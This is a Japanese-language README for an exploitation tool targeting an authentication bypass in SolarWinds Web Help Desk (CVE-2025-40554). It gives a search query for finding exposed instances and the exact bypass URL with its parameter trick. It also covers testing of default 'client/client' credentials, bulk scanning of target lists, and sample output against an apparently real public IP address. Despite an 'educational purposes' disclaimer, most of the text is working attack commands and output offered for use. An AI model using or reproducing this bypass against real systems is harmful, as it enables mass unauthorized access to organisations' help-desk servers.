
CVE-2025-40554エクスプロイテーション
SolarWinds Web Help Desk の認証バイパス脆弱性(CVE-2025-40554 / CVE-2025-40536)を検出・悪用するための包括的なセキュリティテストツールです。
教育目的および許可を得たセキュリティテスト専用
このツールは、自身が所有する、または明示的な書面によるテスト許可を得たシステムに対する、セキュリティ研究、ペネトレーションテスト、脆弱性評価のために提供されています。コンピュータシステムへの不正アクセスは違法です。著者は、このツールの誤用または損害について一切の責任を負いません。
CVE-2025-40554 は、SolarWinds Web Help Desk における重大な認証バイパス脆弱性であり、認証されていない攻撃者に以下を可能にします:
自分で確認してみてください :))
依存関係:
# Clone or download the script
wget https://raw.githubusercontent.com/username/repo/main/CVE-2025-40554.py
# Make executable
chmod +x CVE-2025-40554.py
("Web Help Desk") && (icon_hash="1895809524" || icon_hash="804130677")
# Simple vulnerability check
python3 CVE-2025-40554.py -t https://target:8443
# With explicit protocol
python3 CVE-2025-40554.py -t https://203.106.221.203:8443
# Complete exploitation with session enumeration
python3 CVE-2025-40554.py -t https://target:8443 --exploit
# Skip default credential testing
python3 CVE-2025-40554.py -t https://target:8443 --exploit --no-login
# Scan multiple targets from file
python3 CVE-2025-40554.py -l targets.txt
# Bulk scan with exploitation
python3 CVE-2025-40554.py -l targets.txt --exploit
# Quiet mode (minimal output)
python3 CVE-2025-40554.py -l targets.txt -q
# Custom output file
python3 CVE-2025-40554.py -l targets.txt -o results.txt
targets.txt:
https://target1:8443
https://target2.example.com:8443
192.168.1.100:8443
target3.local:8443
# Comments are supported
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-40554 - SolarWinds Web Help Desk ║
║ Authentication Bypass Exploitation Tool ║
║ Research & Educational Purposes Only ║
╚═══════════════════════════════════════════════════════════════════╝
======================================================================
Target: https://203.106.221.203:8443
======================================================================
[*] Step 1: Establishing session...
[+] WOSID extracted: AbCdEfGhIjKlMnOpQrStU
[+] XSRF token: abc123-def456-ghi789
[*] Step 2: Testing authentication bypass...
[+] Found bypass indicators: externalAuthContainer, JSONRpcClient, SAML 2.0
[+] VULNERABLE - Auth bypass confirmed!
[*] Step 3: Testing default credentials (client/client)...
[+] SUCCESS - Default credentials work!
======================================================================
EXPLOITATION MODE - CVE-2025-40554 Auth Bypass
======================================================================
[*] Bypass URL: https://203.106.221.203:8443/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AbCdEfGhIjKlMnOpQrStU/1.0?badparam=/ajax/&wopage=LoginPref
[*] Triggering authentication bypass...
[+] Auth bypass successful!
[*] Session Cookies:
wosid = AbCdEfGhIjKlMnOpQrStU
XSRF-TOKEN = abc123-def456-ghi789
======================================================================
SUMMARY
======================================================================
[+] Target is VULNERABLE to CVE-2025-40554
[+] Default credentials: WORK
======================================================================
[*] Loaded 5 unique targets from targets.txt
[*] Mode: Bypass + default credential test
[*] Full exploitation enabled
[1/5] Testing https://target1:8443
[+] VULNERABLE - Auth bypass confirmed!
[+] SUCCESS - Default credentials work!
[2/5] Testing https://target2:8443
[!] NOT VULNERABLE - Auth bypass failed
...
======================================================================
SCAN SUMMARY
======================================================================
Total scanned: 5/5
Vulnerable: 2
With def. creds: 1
======================================================================
[+] Results saved to: vulnerable_targets.txt
セッション確立
認証バイパス
認証情報テスト(オプション)
完全エクスプロイト(--exploit モード)
このツールは、以下をチェックすることでバイパスの成功を検出します:
externalAuthContainer - 外部認証設定JSONRpcClient - APIクライアントの露出SAML 2.0 - SSO設定LoginPref - ログイン設定authMode - 認証モード設定コントリビューションは歓迎します.....
このツールは、いかなる種類の保証もなく「現状のまま」提供されます。自己責任で使用してください。
Skynoxk
忘れないでください:常に倫理的かつ合法的にハッキングしてください。不正アクセスは犯罪です。
| オプション | 説明 |
|---|
-t, --target URL | テストする単一ターゲットのURL |
-l, --list FILE | ターゲットのリストを含むファイル(1行に1つ) |
--exploit | 列挙付きの完全エクスプロイトモードを有効化 |
--no-login | デフォルト認証情報のテストをスキップ |
-o, --output FILE | 脆弱なターゲットの出力ファイル(デフォルト: vulnerable_targets.txt) |
-q, --quiet | 最小出力モード(一括スキャンに便利) |